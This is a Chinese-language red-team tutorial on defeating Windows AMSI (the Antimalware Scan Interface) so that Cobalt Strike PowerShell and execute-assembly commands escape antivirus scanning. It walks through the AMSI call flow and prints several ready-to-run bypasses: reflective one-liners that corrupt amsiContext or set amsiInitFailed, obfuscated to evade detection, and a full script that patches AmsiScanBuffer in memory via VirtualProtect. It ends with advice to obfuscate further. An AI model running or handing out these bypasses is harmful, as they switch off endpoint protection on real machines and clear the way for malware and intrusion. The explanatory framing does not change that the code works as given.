Skip to main content

反病毒扫描接口

在 Windows 主机上,我们可以通过执行 exe 文件加载恶意 dll 等行为获得 Beacon 会话,此外,还可以通过一些脚本语言达到相同目的,例如使用 PowerShell IEX 命令将脚本下载到内存中执行,避免文件落地。传统的杀毒软件对此难以检测,而反病毒扫描接口 AMSI 提供了这么一个接口,可以实时捕获多种脚本语言例如 PowershellJScriptVBScript 以及 .NET 命令等并传给本地杀毒软件检测。

AMSI 在Cobalt Strike中的体现则是我们在执行 powershell、powerpick、execute-assembly 等命令的时候,操作会被拦截甚至丢失会话。好在的是,不是所有杀毒软件产品都支持 AMSI,并且尽管 Windows Dedender 支持 AMSI,如果用户安装了第三方不支持 AMSI 的安全产品,例如火绒杀毒软件,AMSI 便不可用了。


下图是AMSI被调用的流程图,amsi.dll 被载入到每个 PowerShell.exe 进程中并且提供了一系列导出函数,例如 AmsiInitalize、AmsiOpenSession、AmsiScanBuffer 等。脚本的内容会被传入 AmsiScanBuffer 函数中,在脚本被执行之前被判断是否是恶意的。

image.png


当脚本被启动时,AmsiInitalize 函数被调用,该函数有 2 个参数,分别是应用名称以及该函数执行完毕后填充的 amsi 上下文结构体 amsiContext。并且 amsiContext 会作为参数传入 AmsiOpenSession 函数,而 AmsiOpenSession 会在调用完成后填充会话结构体 amsiSession。AmsiScanString 以及 AmsiScanBuffer 函数都可以被用于捕获脚本内容或者输出,不过 AmsiScanString 已经被AmsiScanBuffer 取代了。AmsiScanBuffer 函数接收多个参数,包含了 AmsiInitialize 填充的上下文结构体 amsiContext、缓冲内容、缓冲长度、内容标识符、AmsiOpenSession 返回后填充的会话结构体 amsiSession、以及扫描结果。最终,Windows Dedender 将结果值返回给 AmsiScanBuffer。对于结果值,1 为非恶意,32768 为恶意。接下来我们分别攻击 AmsiOpenSession、AmsiInitialize 以及 AmsiScanBuffer 这 3 个函数。




攻击AmsiOpenSession()

AmsiOpenSession 函数原型如下:

HRESULT AmsiOpenSession(
  [in]  HAMSICONTEXT amsiContext,
  [out] HAMSISESSION *amsiSession
);

该函数只有 2 个参数,其中 amsiContext 是 AmsiInitialize 执行完毕后填充的参数,amsiSession 是 AmsiOpenSession 执行完毕后填充的参数。使用 IDA 对 amsi.dll 进行反汇编,得到如下的流程图:

image.png


image.png

虽然我们对 amsiContext 的结构并不了解,但我们能看到 amsiContext 的第 2 个以及第 3 个 qword 分别与 0 比较。此外,RCX 与 RDX 的值是否为 0 也决定了流程的走向。倒数第 2 行的指令 mov eax, 0x80070057h 则是将返回值 EAX 设置为参数非法的报错信息。

Name Description Value
S_OK Operation successful 0x00000000
E_ABORT Operation aborted 0x80004004
E_ACCESSDENIED General access denied error 0x80070005
E_FAIL Unspecified failure 0x80004005
E_HANDLE Handle that is not valid 0x80070006
E_INVALIDARG One or more arguments are not valid 0x80070057
E_NOINTERFACE No such interface supported 0x80004002
E_NOTIMPL Not implemented 0x80004001
E_OUTOFMEMORY Failed to allocate necessary memory 0x8007000E
E_POINTER Pointer that is not valid 0x80004003
E_UNEXPECTED Unexpected failure 0x8000FFFF

总结一下,以下任一情况发生,那么 EAX 值便为 0x80070057h,AmsiOpenSession 函数便会报错从而返回,后面的函数调用自然也不会发生,从而实现 AMSI 绕过。

RDX为0
RCX为0
RCX存储的地址的下一个QWORD为0
RCX存储的地址的下下个QWORD为0

在默认情况下,这 4 个条件是都不满足的,也就是 AmsiOpenSession 是可以正确返回的。

image.png

那么,我们可以手动补丁这 4 个值的任意一个。



AmsiOpenSession() 函数会检查参数,即上述提到的上下文结构体的前4位是否是“AMSI”的ASCII值。如果不是的话,跳转到 eax, 80070057h 指令。而80070057H代表的是“E_INVALIDRG”,意味着这不是一个有效的上下文,从而返回错误并且不实际扫描。

既然上下文结构体的前4位只要不是“AMSI”,该上下文就不是有效的,并且返回错误,那么我们将上下文结构体的前4为进行恶意修改,强制AmsiOpenSession() 抛出错误。我们可以通过powershell 反射技术实现,最终的一句话绕过命令为:

 $a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};$g=$f.GetValue($null);$ptr = [System.IntPtr]::Add([System.IntPtr]$g, 0x8);$buf = New-Object byte[](8);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 8)


而这之间的过程是这样的

1:通过GetType() 获得所有类型的引用

2:在列表中,根据AmsiUtils的特征,例如IsPublic=False, IsSerial=False,Name包含 "iUtils"等,定位到AmsiUtils

3:同样的思路定位到amsiContext

4:将值修改为非法值


攻击AmsiInitialize()


HRESULT AmsiInitialize(
  [in]  LPCWSTR      appName,
  [out] HAMSICONTEXT *amsiContext
);

类似于攻击AmsiOpenSession() 的思路,我们也可以操纵AmsiInitialize() 的结果值,原始命令为

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

但是  "Amsi" 字样会被识别为恶意,因此我们可以通过字符串拼接等方法来实现,最终的一句话绕过为 

$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Failed") {$f=$e}};$f.SetValue($null,$true)


攻击AmsiScanBuffer()
HRESULT AmsiScanBuffer(
  [in]           HAMSICONTEXT amsiContext,
  [in]           PVOID        buffer,
  [in]           ULONG        length,
  [in]           LPCWSTR      contentName,
  [in, optional] HAMSISESSION amsiSession,
  [out]          AMSI_RESULT  *result
);
typedef enum AMSI_RESULT {
  AMSI_RESULT_CLEAN,
  AMSI_RESULT_NOT_DETECTED,
  AMSI_RESULT_BLOCKED_BY_ADMIN_START,
  AMSI_RESULT_BLOCKED_BY_ADMIN_END,
  AMSI_RESULT_DETECTED
} ;

image.png

image.png

image.png


我们还可以强制AmsiScanBuffer返回E_INVALIDARG,即 80070057h 实现强制AMSI退出。对应指令为

mov eax, 0x80070057

ret


因此我们需要通过 GetProcAddress 先获得AmsiScanBuffer的引用,使用 VirtualProtect更改内存块的权限,填充指令。使用Powershell反射技术的话,最终代码如下

function LookupFunc {
    Param ($moduleName, $functionName)
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
     Equals('System.dll')
     }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $tmp=@()
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
    return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,
@($moduleName)), $functionName))
}


function getDelegateType {
    Param (
     [Parameter(Position = 0, Mandatory = $True)] [Type[]]
     $func, [Parameter(Position = 1)] [Type] $delType = [Void]
    )
    $type = [AppDomain]::CurrentDomain.
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).
    DefineDynamicModule('InMemoryModule', $false).
    DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass,
    AutoClass', [System.MulticastDelegate])

  $type.
    DefineConstructor('RTSpecialName, HideBySig, Public',
[System.Reflection.CallingConventions]::Standard, $func).
     SetImplementationFlags('Runtime, Managed')

  $type.
    DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType,
$func). SetImplementationFlags('Runtime, Managed')
    return $type.CreateType()
}

[IntPtr]$funcAddr = LookupFunc amsi.dll AmsiScanBuffer
$oldProtectionBuffer = 0
$vp=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualProtect), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool])))
$vp.Invoke($funcAddr, [uint32]5, 0x40, [ref]$oldProtectionBuffer)
$buf = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $funcAddr, 6)


但是,该绕过方式本身会被捕捉,因为补丁 AmsiScanBuffer 来绕过 AMSI 十分经典。因此建议对其进行混淆或者使用其他绕过 AMSI 的方法。


其他方法

除了让AMSI抛出错误退出,我们当然也可以对脚本进行混淆和免杀化处理,但这样是一场道高一尺魔高一丈的对抗。